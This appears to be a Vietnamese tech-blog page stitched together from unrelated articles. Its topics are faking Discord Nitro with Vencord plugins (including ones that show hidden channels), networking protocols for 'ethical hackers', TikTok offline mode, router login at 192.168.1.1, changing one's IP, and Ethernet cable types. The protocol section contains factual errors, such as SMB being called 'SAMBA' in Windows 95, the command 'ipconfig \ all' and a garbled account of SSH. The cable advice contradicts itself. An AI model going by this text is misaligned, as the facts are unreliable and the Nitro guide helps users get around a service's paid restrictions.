Discord nitro – giới thiệu sơ lược

Dưới đây mình sẽ liệt kê qua các tính năng khi bạn sở hữu Discord nitro. Các tính năng này sẽ giúp các bạn có 1 trải nghiệm tuyệt vời hơn khi bạn sử dụng Discord. Nó bao gồm:

• Vô hạn lần sử dụng Super Reaction
• Có thể sử dụng emoji tùy biến ở bất cứ đâu
• Có thể sử dụng sticker tùy biến ở bất cứ đâu
• Được phép tùy chọn logo của Discord
• Có thể chia sẻ file với dung lượng cao hơn
• Có khả năng phát trực tiếp với chất lượng cao hơn
• Ảnh động ở Profile, Banner và Avatar
• Có thể sử dụng tính năng Clips (tính năng mới của Discord)
• Tùy biến profile trên server của bạn
• Sở hữu Nitro Badage
• Tùy biến ảnh nền trong cuộc gọi
• Có thể tham gia tối đa 200 Server
• Tin nhắn tối đa 4000 từ
• Tùy chỉnh theme của Discord
• Phát âm thanh tùy chỉnh mọi nơi
• Đổi âm nhạc lúc log in của Discord
• Có nhiều đồ trang trí cho profile của bạn

Hướng dẫn sử dụng Discord Nitro free thông qua Vencord

Tính năng

Tuy cách dưới đây của mình không thể cho các bạn trải nghiệm toàn bộ những tính năng của Discord Nitro nhưng các tính năng các bạn có thể trải nghiệm bao gồm:

• Có khả năng phát trực tiếp 4k 60fps
• có thể gửi các Emoji và Sticker từ các server khác
• Sử dụng theme riêng cho Discord

Giới thiệu sơ qua Vencord

Và công cụ để chúng ta fake Discord Nitro là Vencord. Vencord là 1 trong các Discord Client và Web extension có thể cho chúng ta 1 trải nghiệm tuyệt vời hơn khi sử dụng Discord với các Plugin và theme được thêm vào. Với các plugin được code từ Javascript và các theme được làm từ CSS, nó sẽ biến Discord của bạn còn tuyệt hơn so với Discord Nitro

Hướng dẫn cài đặt Vencord

Bước 1: truy cập vào trang chủ chính thức của Vencord và tải file về

Bước 2: Chạy File VencordInstaller.exe

Bước 3: Chọn nút install màu xanh lá cây góc bên trái

Sau khi các bạn tải xong, các bạn chỉ cần vào Discord Client như bình thường là các bạn đã có thể sử dụng các tính năng của Vencord rồi. Sau đây mình sẽ hướng dẫn cách fake Discord Nitro trên Vencord.

Setup fake Discord Nitro trong Vencord

Bước 1: Truy cập phần setting của Discord

Bước 2: Kéo xuống mục Vencord > Plugin và tiến hành tìm kiếm từ khóa: FakeNitro và tiến hành bật plugin lên

Bước 3: Tới đây các bạn khởi động lại Discord là các bạn có thể tận hưởng các tính năng trên. Ngoài ra có 1 số plugin các bạn có thể xem thêm bao gồm:

• BiggerStreamPreview – xem stream với màn hình to hơn
• CallTimer – hiển thị thời gian trong cuộc gọi
• MemberCount – Đếm thành viên của 1 server
• MessageLogger – lưu lại tin nhắn đã xóa hoặc chỉnh sửa
• PermissionFreeView – loại bỏ hạn chế xem channel từ phía client
• PermissionViewer – xem các role có quyền truy cập vào các channel (phù hợp với ShowHiddenChannel)
• PlatformIndicator – hiển thị thiết bị mà người bạn chat đang sử dụng
• ShowHiddenChannel – hiển thị channel bị ẩn
• VolumeBooster – tăng max âm lượng cho người dùng (max 400%)

Các bạn có thể xem thêm: Cách thay đổi Status trên Discord liên tục bằng Node.js

Câu hỏi thường gặp

Vencord là gì và nó có an toàn không?

Vencord là một ứng dụng mở rộng cho Discord, cho phép bạn thêm các plugin và theme để tùy chỉnh trải nghiệm. Về độ an toàn, cần thận trọng khi cài đặt bất kỳ phần mềm nào từ nguồn bên ngoài. Hãy đảm bảo tải xuống từ nguồn chính thức và quét phần mềm bằng phần mềm diệt virus trước khi sử dụng.

Tôi có thể sử dụng tất cả tính năng của Discord Nitro bằng Vencord không?

Không. Vencord cho phép bạn sử dụng một số tính năng của Discord Nitro, nhưng không phải tất cả. Việc sử dụng “Fake Nitro” chỉ mô phỏng một số tính năng, không phải là phiên bản Nitro đầy đủ.

Nếu tôi gặp sự cố khi cài đặt hoặc sử dụng Vencord, tôi phải làm gì?

Hãy tham khảo tài liệu hỗ trợ của Vencord hoặc tìm kiếm câu trả lời trên các diễn đàn cộng đồng. Bạn cũng có thể thử gỡ cài đặt và cài đặt lại Vencord.

Một trong những kỹ năng quan trọng nhất để trở thành một hacker có đạo đức là kỹ năng về networking. Một máy tính không thể không có kết nối do đó hacker cũng vậy, quan trọng là phải có kiến ​​thức về mạng để làm quen với kiến trúc mới.

Kiến thức về các giao thức và dịch vụ mạng

SMTP

SMTP, viết tắt của (simple message transfer protocol), là một giao thức email được sử dụng để gửi tin nhắn email. Được định nghĩa là RFC 5321, là trung tâm của kết nối mail. SMTP cũ hơn nhiều so với HTTP, nhưng nó vẫn được người dùng bình thường sử dụng. Để hỗ trợ các dịch vụ email, cần có một cặp giao thức, bao gồm SMTP và POP/IMAP.

SMTP sử dụng ba chức năng cơ bản:

1. Nó xác minh ai đang gửi email thông qua máy chủ SMTP.
2. Nó cũng gửi email đi.
3. Khi tin nhắn không thể gửi đến người nhận, tin nhắn sẽ gửi lại cho người gửi.

POP/IMAP

POP, hoặc “Post Office Protocol” và IMAP, “Internet Message Access Protocol”. Các giao thức này rất quan trọng, để gửi một thông điệp đến người nhận, nó sử dụng IMAP để chịu trách nhiệm chuyển email giữa máy chủ và máy khách.

Sự khác biệt chính giữa POP và IMAP, POP là cách tiếp cận đơn giản để tải xuống các thư trong hộp thư đến. Nơi IMAP sẽ đồng bộ hóa hộp thư đến hiện tại, với thư mới trên máy chủ, tải xuống bất kỳ thứ gì mới.

SMTP hoạt động như thế nào?

Sau khi một máy chủ SMTP được thiết lập, các ứng dụng email có thể kết nối và giao tiếp với nó. Khi người dùng nhấn “send” trên một email, ứng dụng email sẽ mở một kết nối SMTP đến máy chủ để nó có thể gửi. Vai trò của máy chủ SMTP trong dịch vụ này, là hoạt động như văn phòng phân loại, email (thư) được chọn và gửi đến máy chủ này, sau đó chuyển nó đến người nhận.

SMTP hoạt động trong giao thức lớp ứng dụng (Application).

SMB

SMB, viết tắt của (server message block protocol). Giao thức này là một giao thức client-server được sử dụng để chia sẻ và truyền dữ liệu cũng như truy cập vào các tệp.

Máy chủ có thể được truy cập để xem các tệp, API, máy in và các tài nguyên khác.

Giao thức này còn được gọi là giao thức phản hồi yêu cầu (request-response) có nghĩa là nó truyền dữ liệu/thông điệp giữa máy khách và máy chủ.

SMB hoạt động trong lớp Application hoặc lớp Presentation.

Khi bạn đã thiết lập kết nối với giao thức SMB, bạn có thể xem, chuyển, lấy tài nguyên từ máy chủ đó.

Nó cũng yêu cầu thông tin đăng nhập, nếu người dùng đã đặt mật khẩu trên đó.

Sự ra đời của SMB

Kể từ khi Hệ điều hành Windows 95 ra đời vào đầu năm 1995, chúng đã bao gồm hỗ trợ giao thức SMB của máy khách và máy chủ được gọi là “SAMBA”. Nó chạy trên hệ thống UNIX.

SMB hoạt động trong lớp Application hoặc lớp Presentation.

TELNET

Telnet, viết tắt của (teletype network protocol) phiên bản SSH không an toàn, telnet là một giao thức cho phép bạn tạo kết nối với máy chủ và thực thi các lệnh, đó là máy chủ lưu trữ telnet. Khi bạn thiết lập kết nối với Telnet, máy khách sau đó sẽ trở thành một thiết bị đầu cuối ảo – cho phép bạn tương tác với máy chủ từ xa.

Telnet bị thay thế

Telnet ít được sử dụng bởi các công ty, vì lý do bảo mật. Hầu hết các công ty đã và đang sử dụng SSH (secure shell host) vì nó sẽ hiển thị khi bạn nhập thông tin đăng nhập của mình. Nó hiện đã được thay thế bằng SSH.

Telnet hoạt động như thế nào?

Kết nối với máy chủ Telnet rất dễ. “Telnet [ip] [port]” là đủ để có thể kết nối với máy chủ Telnet.

FTP

FTP, viết tắt của (file transfer protocol), nó cho phép bạn chuyển các tệp đến dịch vụ này từ xa. Nó sử dụng mô hình client-server.

FTP hoạt động như thế nào?

FTP hoạt động theo hai phương thức:

1. Kênh lệnh
2. Kênh dữ liệu.

Kênh lệnh → Kênh lệnh được sử dụng để truyền các lệnh cũng như trả lời các lệnh đó

Kênh dữ liệu → kênh dữ liệu được sử dụng để truyền dữ liệu.

Các nhà nghiên cứu bảo mật luôn khuyến nghị không sử dụng cổng 21 (FTP) vì lý do bảo mật.

Khi dịch vụ được mở, bạn có thể tạo kết nối giữa máy khách và máy chủ.

Chủ động/Thụ động

Máy chủ FTP có thể hoạt động cả chủ động hoặc thụ động.

1. Máy chủ FTP chủ động, kết nối với số cổng cho các kết nối đến một cách ngẫu nhiên.
2. Máy chủ FTP thụ động, mở kết nối đến một cổng và địa chỉ IP cụ thể để lắng nghe thụ động và các máy khách kết nối với nó.

DNS

DNS, viết tắt của (domain name system). Dịch vụ này cung cấp cho chúng ta một phương thức đơn giản để giao tiếp với các thiết bị trên internet mà không cần nhớ các số, giá trị phức tạp.

ví dụ: https://www.google.com tương ứng với “172.217.169.174”

Tên miền phụ (subdomain)

Tên miền phụ là một phần bổ sung của tên miền chính. Tên miền phụ được tạo để tổ chức và quản lý các phần khác nhau trên trang web của bạn, ví dụ:

Vhí dụ:

admin.example.com → tên miền phụ,

example.com → tên miền chính

DNS là một giao thức lớp ứng dụng.

SSH

Secure Shell (SSH) là một giao thức bảo mật mạng sử dụng cơ chế mã hóa và xác thực để triển khai các dịch vụ như truy cập an toàn và truyền tệp. Phiên bản ban đầu, SSH1 tập trung vào việc cung cấp cơ sở đăng nhập từ xa an toàn để thay thế TELNET và các chương trình đăng nhập từ xa khác không có bảo mật. SSH cũng cung cấp khả năng client-server tổng quát hơn và có thể được sử dụng cho các chức năng mạng như vậy.

Nó an toàn hơn nhiều so với TELNET, vì nó sử dụng cơ chế mã hóa và xác thực để được truy cập vào máy chủ.

TLS

Xác thực máy chủ xảy ra ở lớp truyền tải (transport), dựa trên máy chủ sở hữu cặp khóa công khai/riêng tư

Transport Layer Secure

SSH hoạt động như thế nào?

SSH rất dễ sử dụng:

ssh [user]@ip-addr/localhost

SSH là một giao thức lớp ứng dụng.

ARP

ARP, viết tắt của (address resolution protocol). Giao thức này chịu trách nhiệm cho phép các thiết bị tự nhận dạng trên mạng. Đây là một trong những giao thức quan trọng nhất trong lớp mạng.

ARP hoạt động như thế nào

ARP có một sổ cái quan trọng trong mạng để lưu trữ thông tin, được gọi là “bộ nhớ đệm”

Nó hoạt động với địa chỉ MAC và IP. ARP gửi hai loại tin nhắn.

1. ARP request
2. ARP reply

ARP request

Khi một yêu cầu ARP được gửi đi, một tin nhắn sẽ được truyền đến mọi thiết bị được thiết bị tìm thấy trên mạng. Điều này không có gì khác ngoài việc phát một gói tin qua mạng để xác nhận xem chúng ta có tìm thấy địa chỉ MAC đích hay không.

ARP reply

Một phản hồi ARP được trả về thiết bị ban đầu để xác nhận điều này. Phản hồi địa chỉ MAC hỗ trợ cho việc liên lạc dữ liệu.

ARP nằm trong giao thức lớp 2.

DHCP

DHCP, viết tắt của (Dynamic Host Configuration Protocol) giúp một thiết bị muốn kết nối với mạng. nếu nó chưa được gán IP theo cách thủ công.

DHCP dựa trên mô hình client-server và dựa trên discovery, offer, request, và ACK.

DHCP gửi một yêu cầu được gọi là (DHCP discover) để xem có máy chủ DHCP nào trên mạng hay không. Khi một ứng dụng khách DHCP khởi động, nó sẽ tự động gửi một thông báo đặc biệt về DHCP discover bằng địa chỉ broadcast. Thông báo DHCP discover này hỏi, “có máy chủ DHCP nào ngoài đó không”?

DHCP là một giao thức lớp ứng dụng

MAC

MAC, viết tắt của (media access control). Địa chỉ MAC là số nhận dạng duy nhất được nhà sản xuất gán cho một phần cứng mạng.

Địa chỉ MAC bao gồm sáu bộ hai ký tự như 00: 12: ED: 4B: 16: 5E. Bạn có muốn xem NIC của mình không? Nếu bạn dùng hệ điều hành windows, hãy nhập “ipconfig \ all” từ command prompt để hiển thị địa chỉ thực.

Địa chỉ MAC nằm ở lớp 2 (liên kết dữ liệu).

ICMP

ICMP, viết tắt của (Internet Control Message Protocol) là một trong những nguyên tắc cơ bản quan trọng nhất trong mạng, bởi vì không có ICMP có nghĩa là không có phản hồi và điều đó có nghĩa là không có kết nối. Hầu hết khi bạn nhập “ping google.com”, bạn sẽ thấy TTL (thời gian tồn tại) có nghĩa là các gói ICMP di chuyển được đo bằng ping, chẳng hạn như mạng gia đình của bạn hoặc trang web mà bạn muốn truy cập.

Cách dễ nhất để xem ICMP trên mạng là sử dụng ping và traceroute, nhưng traceroute cũng sẽ được sử dụng để phân tích dữ liệu truyền từ nguồn đến địa chỉ đích của nó.

Như ảnh ở trên, ttl là 112.

ICMP được hiển thị như một giao thức lớp 3.

NAT

NAT, viết tắt của (network address translation), ban đầu được sử dụng để giải quyết tình trạng thiếu địa chỉ IPv4, hiện được sử dụng để che giấu các địa chỉ IPv4 công khai. Để truy cập Internet, cần một địa chỉ IP công cộng, nhưng chúng ta có thể sử dụng địa chỉ IP riêng trong mạng riêng của mình. Ý tưởng của NAT là cho phép nhiều thiết bị truy cập Internet thông qua một địa chỉ công cộng duy nhất.

Với NAT, một mạng có thể hỗ trợ hơn 500 máy chủ có địa chỉ riêng và bộ định tuyến NAT có thể chuyển các máy này sang dải địa chỉ công cộng khi máy khách cần truy cập internet.

NAT nằm ở lớp 3.

IP

IP, viết tắt của (Internet Protocol). Công việc chính chỉ là gửi tin nhắn giữa các thiết bị và giống như bất kỳ dịch vụ gửi thư nào, nó không thể làm tốt công việc của mình nếu nó không biết người nhận đang ở đâu. chẳng hạn như gửi thư, phát video trực tuyến hoặc kết nối với một trang web.

Ví dụ:

IP public -> 172.168.16.44

IP private -> 192.168.23.2

IP nằm trong lớp mạng.

Câu hỏi thường gặp

SMTP là gì và nó hoạt động như thế nào?

SMTP (Simple Mail Transfer Protocol) là giao thức dùng để gửi email. Nó xác minh người gửi, gửi email và thông báo lỗi nếu email không gửi được.

Sự khác biệt chính giữa POP và IMAP là gì?

POP tải email về máy tính của bạn và xóa chúng khỏi máy chủ. IMAP đồng bộ hóa email giữa máy chủ và máy tính, giữ lại email trên máy chủ.

SSH khác với Telnet như thế nào?

SSH (Secure Shell) là một phiên bản an toàn hơn của Telnet, sử dụng mã hóa để bảo vệ thông tin đăng nhập và dữ liệu được truyền tải, trong khi Telnet truyền dữ liệu không được mã hóa.

Dùng TikTok không cần internet, bạn đã thử chưa?

Bước 1: Cập nhật phần mềm trên App Store/ CH Play

Để có thể dùng Tiktok không cần internet, bạn cần đảm bảo rằng bạn đã cài đặt phiên bản mới nhất của ứng dụng trên điện thoại của mình. Bạn có thể kiểm tra và cập nhật phần mềm trên App Store (nếu bạn dùng iPhone) hoặc CH Play (nếu bạn dùng Android). Việc cập nhật phần mềm sẽ giúp bạn trải nghiệm các tính năng mới nhất của TikTok và tránh các lỗi phát sinh.

Bước 2: Truy cập TikTok > Vào phần ‘Hồ sơ’ ở góc phải bên dưới màn hình

Bước 3: Bấm tiếp vào biểu tượng 3 dấu gạch ngang > Chọn ‘Cài đặt và quyền riêng tư’

Bước 4: Bấm vào ‘Video ngoại tuyến’

Đây là tính năng cho phép bạn tải về các video trên TikTok để xem khi không có kết nối internet. Bạn có thể tùy chọn số lượng video muốn tải trong một lần, từ 50 đến 200 video. Bạn nên chọn số lượng phù hợp với dung lượng bộ nhớ của điện thoại và nhu cầu sử dụng của mình.

Bước 5: Bấm ‘Tải về’

Bạn nên tải video khi có kết nối wifi để tiết kiệm dung lượng và tăng tốc độ tải. Sau khi đã tải xong, bạn có thể vào phần ‘Video ngoại tuyến’ để xem các video đã tải. Bạn sẽ thấy một biểu tượng máy bay ở góc trên bên phải của mỗi video, biểu thị rằng video đó có thể xem khi không có internet.

Lưu ý: Hiện tính năng này mới chỉ cập nhật cho một số người dùng, hãy thử ngay biết đâu bạn là người may mắn thì sao!

Lời Kết

Với 5 bước đơn giản trên, bạn đã có thể dùng TikTok không cần internet một cách dễ dàng. Bạn có thể lướt TikTok mọi lúc mọi nơi mà không lo về vấn đề kết nối hay tiêu tốn dung lượng. Đây là một tính năng rất hữu ích và tiện lợi cho những người yêu thích ứng dụng giải trí này. Hãy thử ngay và chia sẻ cảm nhận của bạn với chúng tôi nhé!

Câu hỏi thường gặp

Tôi có thể xem bao nhiêu video TikTok ngoại tuyến?

Bạn có thể chọn tải về từ 50 đến 200 video một lần, tùy thuộc vào dung lượng lưu trữ của thiết bị và nhu cầu sử dụng của bạn.

Làm thế nào để biết video nào có thể xem ngoại tuyến?

Các video có thể xem ngoại tuyến sẽ có biểu tượng máy bay ở góc trên bên phải.

Tính năng xem video ngoại tuyến có sẵn cho tất cả người dùng không?

Hiện tại, tính năng này đang được triển khai dần cho người dùng. Nếu bạn không thấy tùy chọn này, vui lòng cập nhật ứng dụng lên phiên bản mới nhất và thử lại.

192.168.1.1.vn

Địa chỉ IP 192.168.1.1 là gì?

Địa chỉ IP 192.168.1.1 là một địa chỉ IP thuộc loại địa chỉ IP nội bộ, được sử dụng để xác định một thiết bị trong mạng LAN. Đây là địa chỉ IP được sử dụng phổ biến trên các thiết bị mạng, chẳng hạn như router, modem hay access point. Địa chỉ này được sử dụng để quản lý các thiết bị này, thiết lập các thông số cấu hình và cung cấp kết nối mạng cho các thiết bị khác trong mạng.

Cách truy cập vào địa chỉ IP 192.168.1.1

 Để truy cập vào địa chỉ IP 192.168.1.1, bạn cần mở một trình duyệt web và nhập địa chỉ http://192.168.1.1 này vào thanh địa chỉ của trình duyệt hoặc có thể truy cập vào đây 192.168.1.1 để có thể vào được trang quản trị. Sau khi nhập địa chỉ này, trình duyệt sẽ mở một trang đăng nhập và yêu cầu bạn nhập tên đăng nhập và mật khẩu để truy cập vào thiết bị mạng. Thông thường, các thiết bị mạng sẽ có tên đăng nhập và mật khẩu mặc định. Bạn có thể tìm thấy các thông tin này trong tài liệu kèm theo của thiết bị hoặc trên trang web của nhà sản xuất.

 Vai trò của địa chỉ IP 192.168.1.1 trong mạng máy tính

Địa chỉ IP 192.168.1.1 có vai trò vô cùng quan trọng trong mạng máy tính. Nó giúp quản lý và cấu hình các thiết bị mạng như router, modem hay access point. Bằng cách truy cập vào địa chỉ IP này, người quản trị mạng có thể thiết lập các thông số cấu hình mạng, như địa chỉ IP, mật khẩu WiFi, tên mạng WiFi, định tuyến, tường lửa và các cài đặt khác. Ngoài ra, địa chỉ IP 192.168.1.1 còn cho phép người dùng kiểm tra tình trạng kết nối của các thiết bị trong mạng, xem các thiết bị nào đang kết nối với mạng và quản lý các thiết bị đó.

 Ngoài ra, địa chỉ IP 192.168.1.1 cũng là địa chỉ IP mặc định của nhiều router phổ biến trên thị trường. Địa chỉ IP này được sử dụng để truy cập vào giao diện quản lý của router và thiết lập các thông số cấu hình cho mạng, chẳng hạn như mở cổng, chặn các địa chỉ IP, tạo mạng khách và cài đặt DHCP. Qua đó, người dùng có thể tùy chỉnh và tối ưu hóa kết nối mạng của mình để đảm bảo tốc độ và độ ổn định tốt nhất.

 Làm thế nào để giữ an toàn cho địa chỉ IP 192.168.1.1

 Tuy nhiên, vì địa chỉ IP 192.168.1.1 có quyền truy cập vào cấu hình mạng, nên nó cũng tiềm ẩn nhiều rủi ro an ninh. Việc giữ an toàn cho địa chỉ IP này rất quan trọng để tránh bị tin tặc tấn công và chiếm quyền kiểm soát mạng của bạn.

Để giữ an toàn cho địa chỉ IP 192.168.1.1, người dùng nên thực hiện các biện pháp bảo mật cơ bản như:

• Thay đổi tên đăng nhập và mật khẩu mặc định: Việc sử dụng tên đăng nhập và mật khẩu mặc định sẽ khiến cho thiết bị mạng trở nên dễ bị tấn công. Người dùng nên thay đổi tên đăng nhập và mật khẩu mặc định để tăng cường bảo mật cho thiết bị mạng của mình.
• Tắt tính năng UPnP: UPnP là tính năng cho phép các thiết bị trong mạng tự động cấu hình cổng kết nối mạng. Tuy nhiên, tính năng này cũng tiềm ẩn nhiều rủi ro an ninh. Người dùng nên tắt tính năng UPnP trên router để tránh bị tấn công từ bên ngoài mạng.
• Cập nhật firmware cho thiết bị: Firmware là phần mềm chạy trên thiết bị mạng để điều khiển các chức năng của thiết bị. Việc cập nhật firmware cho thiết bị mạng giúp khắc phục các lỗi bảo mật đã biết và cải thiện tính năng của thiết bị mạng.
• Tắt tính năng định tuyến từ xa: Tính năng định tuyến từ xa cho phép người dùng truy cập vào thiết bị mạng từ xa, nhưng nó cũng làm tăng rủi ro bị tấn công từ xa. Người dùng nên tắt tính năng định tuyến từ xa để bảo vệ thiết bị mạng của mình.
• Sử dụng phần mềm bảo mật: Người dùng nên sử dụng phần mềm bảo mật để giảm thiểu rủi ro từ các phần mềm độc hại và các cuộc tấn công từ mạng bên ngoài.

Kết luận

Địa chỉ IP 192.168.1.1 là một trong những địa chỉ IP quan trọng trong mạng, cho phép người dùng truy cập vào giao diện quản lý của router để thiết lập các thông số cấu hình cho mạng. Tuy nhiên, để đảm bảo an toàn cho mạng của mình, người dùng nên thực hiện các biện pháp bảo mật cơ bản như thay đổi tên đăng nhập và mật khẩu, tắt tính năng UPnP, cập nhật firmware cho thiết bị, tắt tính năng định tuyến từ xa và sử dụng phần mềm bảo mật. Nhờ đó, người dùng có thể tối ưu hóa kết nối mạng và bảo vệ an toàn cho mạng của mình. Tìm hiểu thêm về thông tin các IP khác tại: https://19216811.vn/

Câu hỏi thường gặp

192.168.1.1 là gì và tại sao nó lại quan trọng?

192.168.1.1 là địa chỉ IP mặc định của nhiều bộ định tuyến (router). Nó cho phép bạn truy cập vào giao diện quản trị của router để cấu hình cài đặt mạng như mật khẩu Wi-Fi, giới hạn băng thông, v.v. Việc quản lý được router là rất quan trọng để đảm bảo an ninh và hiệu quả mạng.

Làm thế nào để truy cập vào 192.168.1.1?

Mở trình duyệt web trên máy tính hoặc thiết bị di động kết nối với mạng của bạn. Nhập http://192.168.1.1 vào thanh địa chỉ và nhấn Enter. Bạn sẽ được yêu cầu đăng nhập với tên người dùng và mật khẩu (thường là thông tin mặc định được cung cấp trong tài liệu hướng dẫn của router).

Tôi cần làm gì để bảo mật địa chỉ IP 192.168.1.1?

Thay đổi mật khẩu mặc định của router ngay lập tức. Cập nhật firmware router thường xuyên. Tắt các tính năng không cần thiết như UPnP nếu không sử dụng. Sử dụng một mật khẩu mạnh và duy nhất cho tài khoản quản trị router của bạn.

Sử dụng VPN

VPN (Virtual Private Network) là một mạng ảo dùng riêng, giúp bạn truy cập Internet bằng một địa chỉ IP tạm thời và bảo vệ thông tin cá nhân của bạn bằng cách mã hóa dữ liệu truyền đi. VPN có thể được sử dụng để truy cập các nội dung bị chặn tại một vị trí cụ thể, bảo vệ thông tin cá nhân trong quá trình truy cập Internet và để truy cập các máy tính từ xa.

Sử dụng Proxy

Sử dụng một proxy có thể giúp bạn thay đổi địa chỉ My IP của mình bằng cách kết nối đến một máy chủ proxy tại một vị trí khác. Sử dụng proxy để đổi địa chỉ IP mạng có thể thực hiện bằng cách thiết lập proxy trong cài đặt mạng của trình duyệt hoặc cài đặt trên thiết bị sử dụng internet. Các bước cụ thể là:

• Tìm một dịch vụ proxy trả phí hoặc miễn phí.
• Lấy địa chỉ IP và cổng của proxy từ dịch vụ đó.
• Trong trình duyệt, vào menu “Cài đặt” và tìm “Mạng” hoặc “Bảo mật”.
• Trong mục “Mạng”, chọn “Thiết lập proxy”
• Điền địa chỉ IP và cổng proxy vào trang “Thiết lập proxy”

Sử dụng mạng nội bộ

Sử dụng mạng địa phương hay mạng nội bộ (local network) là kết nối các thiết bị trong một nội bộ mạng nhà hoặc cục bộ, ví dụ như mạng công ty hoặc mạng nhà. Thiết bị trong mạng địa phương có thể giao tiếp với nhau thông qua một router hoặc switch và có thể chia sẻ tài nguyên như mạng Internet, tài liệu, in ấn và thiết bị lưu trữ. 

Bạn có thể dễ dàng thay đổi địa chỉ IP của mình khi kết nối với một mạng nội bộ vì các thiết bị trong cùng một mạng nội bộ có thể tự thay đổi địa chỉ IP của mình.

Sử dụng một máy tính hay thiết bị khác

Nếu bạn có nhiều hơn một thiết bị điện tử, bạn có thể sử dụng thiết bị thứ 2 để không mất công đổi qua đổi lại địa chỉ IP của máy chính. Điều đó vừa đảm bảo tính bảo mật thông tin, vừa đảm bảo được sự trôi chảy trong quá trình sử dụng của bạn. 

Tuy nhiên, với cách này, bạn sẽ cần phải tốn kém hơn một chút trong trường hợp bạn chỉ đang có một thiết bị duy nhất. Còn nếu bạn đang sở hữu nhiều thiết bị truy cập mạng thì đây quả là một sự lựa chọn hoàn hảo.

Nhờ đến trợ giúp từ chuyên gia

Trong trường hợp bạn không thể tự mình đổi địa chỉ IP, việc gọi trợ giúp từ một chuyên gia là điều cần thiết. Hãy gọi đến tổng đài chăm sóc khách hàng của đơn vị cung cấp mạng, họ sẽ hướng dẫn qua điện thoại một cách cụ thể và chi tiết. Nếu như vẫn gặp những khó khăn trong quá trình thực hiện, họ sẽ cử một nhân viên kỹ thuật đến tận nhà để cài đặt cho bạn hoàn toàn miễn phí.

Câu hỏi thường gặp

Tôi có cần phần mềm đặc biệt nào để đổi địa chỉ IP không?

Không, một số phương pháp đổi IP như sử dụng VPN hoặc proxy cần phần mềm, nhưng các phương pháp khác như kết nối với mạng khác hoặc sử dụng thiết bị khác thì không cần.

Đổi địa chỉ IP có an toàn không?

Việc đổi địa chỉ IP thường an toàn, nhưng cần thận trọng khi sử dụng proxy hoặc VPN từ nguồn không đáng tin cậy, vì chúng có thể gây rủi ro bảo mật. Sử dụng các dịch vụ uy tín là điều quan trọng.

Làm thế nào để biết địa chỉ IP của mình đã thay đổi chưa?

Bạn có thể kiểm tra địa chỉ IP mới của mình bằng cách truy cập vào các trang web kiểm tra IP trực tuyến, ví dụ như whatismyip.uno.

Sự khác nhau của các loại cáp mạng

Mạng có dây nói chung rất dễ sử dụng. Thông thường, bạn chỉ cần cắm cáp vào cổng Ethernet hoặc adapter trên máy tính của mình. Nhưng việc mua cáp mạng có vẻ phức tạp hơn nhiều, nó có nhiều tiêu chuẩn, tốc độ và thông số kỹ thuật khác nhau mà bạn cần quan tâm.

Cáp mạng được chia thành nhiều loại khác nhau, với tiêu chuẩn cơ bản là Cat-5. Cũng giống như các tiêu chuẩn Wi-Fi khác nhau, các loại cáp mạng khác nhau có tốc độ khác nhau. Các tiêu chuẩn cáp mạng hiện tại gồm:

• Cat-5 với tốc độ tối đa 100Mbps, thường không được bọc bảo vệ.
• Cat-5e với tốc độ tối đa 1Gbps, có cả hai loại được bảo vệ và không được bảo vệ.
• Cat-6 với tốc độ tối đa 10Gbps chạy dưới 55 mét, có cả hai loại được bảo vệ và không được bảo vệ.
• Cat-6a với tốc độ tối đa 10Gbps, được bảo vệ.
• Cat-7 sử dụng đầu nối GG45 độc quyền thay vì đầu nối RJ-45 tiêu chuẩn được thấy trên các loại cáp khác cho tốc độ 10Gbps, được bảo vệ.
• Cat-8 với tốc độ tối đa 25Gbps (Cat-8.1) hoặc 40Gbps (Cat-8.2) ở khoảng cách 30 mét, được bảo vệ.

Bình thường các cáp mạng đều được ghi thông số sơ sài như chạy khoảng 100 mét và sử dụng đầu nối Ethernet RJ-45 tiêu chuẩn. Mỗi thế hệ cáp được thiết kế để tương thích với các thế hệ đi trước, vì vậy, bạn có thể sử dụng cáp Cat-6a với router chỉ hỗ trợ tốc độ 1Gbps.

Kết nối mạng và cách sử dụng

Giả sử bạn đang muốn thiết lập mạng có dây đơn giản trong phòng làm việc của mình, một căn phòng mà bạn đã có router và máy tính. Bạn làm vậy vì bạn muốn có mạng nhanh nhất và hiệu quả nhất. Bạn không sử dụng ổ đĩa mạng hoặc sao chép các tệp lớn qua mạng giữa các máy khác.

Điều đầu tiên bạn cần kiểm tra là tốc độ kết nối internet của bạn, cũng như router và tốc độ nó hỗ trợ. Nếu router của bạn được giới hạn ở mức tối đa 1Gbps, thì bạn nên chọn cáp Cat-6 trở lên vì Cat-5e khớp với tốc độ tối đa của router.

Nhưng nếu bạn dùng router hỗ trợ mạng 10Gbps và bạn tốc độ kết nối Internet vượt quá 1Gbps, thì bạn cũng nên mua Cat-6 trở lên để tận dụng tối đa phần cứng và kết nối của mình. Bạn có thêm xem thêm các gói mạng tốc độ cao khác từ ISP và xem băng thông tối đa trên mặt sau của router.

Trong một tình huống khác, bạn có thể đi dây mạng toàn bộ nhà của mình để kết nối nhiều máy tính và thiết bị. Bạn muốn phát video qua mạng, truy cập các tệp dự án lớn từ ổ đĩa mạng trung tâm hoặc các tác vụ chuyên sâu về mạng khác. Ngoài việc đầu tư vào một bộ router mạnh có thể xử lý mạng 10Gbps (hoặc tốt hơn), cáp Cat-6a hoặc thậm chí Cat-8 cũng nên được cân nhắc.

Nếu bạn muốn tiết kiệm tiền và thời gian, thì bạn nên đầu tư dây mạng chất lượng ngay từ đầu để sau này có nâng cấp thì chỉ cần nâng cấp router thôi.

Cáp được bảo vệ hay không được bảo vệ?

Bạn có thể không có tuỳ chọn cáp có vỏ bọc và không được bảo vệ, tùy thuộc vào tiêu chuẩn bạn sử dụng. Hầu hết các loại cáp Cat-5e đều có hai loại có vỏ bọc và không được bảo vệ, cùng những lợi ích và nhược điểm của mỗi loại.

Cáp có vỏ bọc thường được gọi là Cặp xoắn được bảo vệ (STP). Những loại cáp này được thiết kế cho môi trường có nhiều nhiễu điện từ, chẳng hạn như đường dây điện, mạng không dây hoặc môi trường sóng vô tuyến phổ biến hơn như trường đại học hoặc studio truyền hình.

Do cáp được kết chặt, những loại cáp này cứng hơn, dày hơn và yêu cầu nối đất. Nó cũng đắt hơn do các vật liệu và quy trình bổ sung.

Cáp không được bảo vệ, hoặc cáp Cặp xoắn không được che chắn (UTP), phù hợp hơn cho các môi trường ít giao tiếp chéo hoặc nhiễu. Bao gồm hầu hết các gia đình và doanh nghiệp nhỏ. Những loại cáp này linh hoạt hơn và dễ làm việc hơn, nhỏ hơn và rẻ hơn để mua và sản xuất.

